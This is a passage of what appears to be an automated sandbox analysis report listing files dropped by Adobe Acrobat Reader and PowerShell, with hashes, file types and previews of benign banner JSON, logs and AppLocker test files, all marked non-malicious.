SHA-256:	AC4DF5A5B65E9C4AC142345FB1EFEE39AC8547D74D6F8B9D04B4AD2A67F21D8C
SHA-512:	C727916C5DA0DC91092B472B1C3424B17363BBC8FB73E027FE278ABE2CB9563657C03B08827C2198541A966812C6657D6FEE2A4EF6B3CA505A64ECE8CB17CC6F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.325461836749728
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJfzdPeUkwRe9:YvXKXqFZc0vc75Gb8Ukee9
MD5:	95D1BB75DE52982A54ACD2A6DA884F29
SHA1:	A062175B263247674CB148ADFD76439A8D76FE07
SHA-256:	F112094FFD979FC65E57F173938A80051CD3F3904F2F2F742E2F0BDA8409FED2
SHA-512:	FDE1A1574B14FED4655D395A3DCBBE1D4347D2BA9E05EC431D51A2D4EF1FAA5804D76A84A485E5CAD08B9F1CD3D5F7ACADBA961C16E7999E764DCED322917942
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306509663605586
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJfYdPeUkwRe9:YvXKXqFZc0vc75Gg8Ukee9
MD5:	7C57B77AB20A8544FA072E72A8840504
SHA1:	65B20F5576C0C9C7D617FDF70F93DC6EF6BF7212
SHA-256:	8AC249B530C1376FE6D5B79EC58E1C1FC6A3E38A85B845AE6814A880B3985428
SHA-512:	077129B4279D7EC5ED2ED380BFFF11952F62F3F7F21E50196F6DE0F5B97C38130D7B548DD7F2E538B00F67883D92D5712295818271BBAC9D04ECFDF9539017F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.292356941649039
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJf+dPeUkwRe9:YvXKXqFZc0vc75G28Ukee9
MD5:	678E6E8731738C77020BBAF6EFF3DC19
SHA1:	8DF8958FD85A5CF611B391E8FFD5C0C2B7351CC4
SHA-256:	9DF436488A2F9D6974B546458B6F6C6DA7BAF78AF8933F7AB63A3B2952F733D4
SHA-512:	97080EC652A8382E3938135CC04881B8226AECB301067D288DDEA978A1967FA7E4AD3B5BA717BB888D395643BF5A6D6FDA895E70E81BB2BC2DC86996E0327216
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.290012021323397
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJfbPtdPeUkwRe9:YvXKXqFZc0vc75GDV8Ukee9
MD5:	AE1C74A6C3E8363DAFC64CB75FF7DBD5
SHA1:	4DB9F09C415BEF25428CBE00A8C73D7A52ADBCF5
SHA-256:	FA23FB4F21E26A1EACA0A28AED3C08E50BFECCFA9234C135EC4D29DB93F8401E
SHA-512:	C0F97EB480215F5F6E337E8BD081D7E7C6220853E00C2E27635118B1B771F72F0C07551A3AEC2120D70C8892491F9FA2E8209B71ED7F6C0EA57DFEAF62FD55A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.295049443012055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJf21rPeUkwRe9:YvXKXqFZc0vc75G+16Ukee9
MD5:	F11587C5CE59E2D97FC77C2791113500
SHA1:	E09F3945D90DF65ED2602C3D148633FCA86D2AFA
SHA-256:	B518D31ED2B1260212906C9BACE522382417E35672404DFD89A7726AC32A83E8
SHA-512:	8E3E716A60E659350A454CC38422564D391A44C3CA1F7AD944394FA01E690312F3BDB49DF71926C545227C9AA430678E7A13427008D25AF617815D804F00301C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660621559232241
Encrypted:	false
SSDEEP:	24:Yv6XqFzvc7CamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSYc:YvR07cBgkDMUJUAh8cvMYc
MD5:	32D6A036213F7F4839929E05CF5E3A0E
SHA1:	3DA972785DC40844A6E756B49169A44655546BAB
SHA-256:	013B081840DB2D3737367B12727A84C4F214AC06DCE6838056EC657593100156
SHA-512:	B69B150770731960E567D34140C18D920FA6CA02B7D85832E38C1EA82A6C8DD986CB01F43448639569FFB7F49AEA2164B3C73D6C6422A2DF477E85C7DBC70D3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.270821176635489
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJfshHHrPeUkwRe9:YvXKXqFZc0vc75GUUUkee9
MD5:	3793A1517706A8108772A483CF7655B0
SHA1:	2B2573C093EDBF63DD9A54F93F753E8F2565B768
SHA-256:	7200D7634068373957E83E74C5067AF561A6C6CFEF9FDBF1C9164FF00A9A8B8F
SHA-512:	74871FACA4D9B3C490E48248A29B091407EF195D62EC4098DE1896E2CC3E7C7BCBAE9714C217C59B367AD3284F52C45F7FC24AD7D34BC85B081AD151A7FE8681
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2727591916796195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJTqgFCrPeUkwRe9:YvXKXqFZc0vc75GTq16Ukee9
MD5:	700B9448B6CAD46D508052790F281F24
SHA1:	98868035DF550357D3CC25FE6F8ACEC802D7A11A
SHA-256:	57C6972192211B4D147AA608C311C0567D12EADB3916A85116D5498B013F1C57
SHA-512:	18E007BD85D087E054DDB20AFF335E08BA62CB3EF9A7A92831C7D7148381152E478B4D1D73B4A7FE6B0F2C1E66E952BC53F761A44E12FD1B95B2BF0F7DC79D3D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143577125493587
Encrypted:	false
SSDEEP:	48:YqlbGZOzXEb0sgEZ5Id2Y6HHx6AKfnDMpENejx9he6:rlAOzUb0dEZWd2r2fDMpENGhe6
MD5:	EEF2C13C9EAFCAFD66E44C77085B1A18
SHA1:	EB32D3D8BF1F51BA7860738218E80D5A89651D97
SHA-256:	8F5B70ADF1F612A16E7F481A69CD9951E757AE159C9F5786A30C62101277144E
SHA-512:	32CC46DBF0A99AB3135A0B5C521095BEAE03A78C79316C8F394B962BA0743D75837A5767877E6DC1D962C92DC393C8D8C7EDC3FAFF56ACC2F652F95A2F34A751
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2148125fcde6552baac4df91ad005882","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736517262000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5deeebecec88152c413105fbb05b2eb0","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736517262000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"3f8f161106c001f3ca722b51d0af9ae2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736517262000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"383a73bd3c542891ec9c323ca5960737","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736517262000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"fe4189d5e8a13bbc1441ba6878443d8b","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736517262000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d2ca389b1e8d42a0b1c1fb65f0bba75d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1896325127511125
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUEFWSvR9H9vxFGiDIAEkGVvpYFQ:lNVmswUUUUUUUUqW+FGSItqQ
MD5:	37A0CF07CB7BC5CE3CB8A179F560DF19
SHA1:	37C19ACEE49CF02F22E29B5A5F70E8E3D3531551
SHA-256:	3E6F6747C7BB996EE4B48FF78D2AF3DF914A8D64D9023FE22586A78CDFDF5C72
SHA-512:	6484962647F469A4A8B2EC238BE9A4CD2409001A07744E1224E63DBB2358B52AC548BE134C1A4A84449ED1D166C4769F0833A6424ABD478F39FE5D56D449E1AA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.609216937099032
Encrypted:	false
SSDEEP:	48:7McKUUUUUUUUUUEF0vR9H9vxFGiDIAEkGVvcqFl2GL7msx:7EUUUUUUUUUUqkFGSItuKVmsx
MD5:	41135A16EDA4E3E91727AFEB5F73DCD0
SHA1:	26DBB063F86E654BE11C98E6FA54A996CDF749A2
SHA-256:	9213D3126E103BD93BCF14260997FEBD7405128B7DF279A2D66C3D5669A2D9A9
SHA-512:	381B17F946580F363326A6471E80E79808236A7FDD38C6A012210C544719D601A9023ACEFB3AE99ED1E3FE32CD1EEFC262E782691B71E51905847F3623A3622E
Malicious:	false
Preview:	.... .c.....B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgdZndvsPaU7diiN1XkFhDJcFiqKYyu:6a6TZ44ADEd5dvsPZdmbuFLKK
MD5:	23BB58989AE5C8F8349B31AB64B82075
SHA1:	4ED0D7F45C06A72EBDA82C3558F3EB03EB45FD82
SHA-256:	5619BFBCFC1D99ACB07B1B888ACFC2BF2ACB9B7DB30A8F4B74D8846DC78305C3
SHA-512:	5169E6DDE31EB40D321C29F9027DC857FE2647E3BE5E72604F3F132E75C008FAED1F78A3AFA3E7669E1E445B6F55DB395B7340BD875AEF7AE702FB54442564F6
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIae401.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClql5NH:Qw946cPbiOxDlbYnuRK+bLH
MD5:	E768E14FD502790D0DB047F4FFF27482
SHA1:	85F9A44C5A72EE685BA6A9FA81D753D1C6A82399
SHA-256:	B390180E3BD738FF9318032BA97E07E2BDB2D948E10287F75092546347EB5536
SHA-512:	65A4E30580AE1A058D6A39191829F1C25A751F8E1CC3EAAC77C177714BA0A48AD931E0B63CBD16D1B3D8FCBC1D7952916FBD2EE58DB15D283F0B822B4A9DFBF8
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.5.4.:.2.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_14xhw5oo.lml.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rusroi52.swa.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-54-16-565.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.367640812542102
Encrypted:	false
SSDEEP:	384:l0VCNDw99otKrwazQ2RMzJsNJu3Bu8ELIbwaEs6EvQp7SiRLJQbQtorxWOMP8DTM:q6W
MD5:	4BF1B7C10C15F44F159D3C56582382DE
SHA1:	87D51F0FC2D872EF53AF8B306A1365F1E47ED47C
SHA-256:	F8F32A42E110158A7DC7266131BA57F82D33B0CCA888FDE59CB840A68A68FAAF
SHA-512:	32621B77F158F6D3197F164154E610C716ECAF0201AAC6914CD4CC152F6A9E6C812192CAE5F6F504B881F091F24C73556F12240F3061CA29FD618BC742405444
Malicious:	false
Preview:	SessionID=9f3cab5c-92b4-48ae-bf5d-f443e0fd264e.1736517256576 Timestamp=2025-01-10T08:54:16:576-0500 ThreadID=7700 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=9f3cab5c-92b4-48ae-bf5d-f443e0fd264e.1736517256576 Timestamp=2025-01-10T08:54:16:581-0500 ThreadID=7700 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=9f3cab5c-92b4-48ae-bf5d-f443e0fd264e.1736517256576 Timestamp=2025-01-10T08:54:16:582-0500 ThreadID=7700 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=9f3cab5c-92b4-48ae-bf5d-f443e0fd264e.1736517256576 Timestamp=2025-01-10T08:54:16:582-0500 ThreadID=7700 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=9f3cab5c-92b4-48ae-bf5d-f443e0fd264e.1736517256576 Timestamp=2025-01-10T08:54:16:582-0500 ThreadID=7700 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392092422143525
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rq:7MAO66cP9yB
MD5:	97A4CFB26630937F67D0B3BF823E26C6
SHA1:	35E89B601FE9BBB665B6C453FD9CE31F79A95667
SHA-256:	12F195A9BDFD3B354020EC908798ADB6F9C3CBE45DCE9AB3C6DE2468E3D1971D
SHA-512:	A76C874E2B5FDF8EBE935932F19375C66772278AE6EF9D2789EC744AD35C492B8D2571DD7295C6F76758F91B563F4B45A68E3934C5BE4782FD539FBD9E73E9AD
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0d10f153-757e-4cf1-97c9-3db27ac1ceb5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
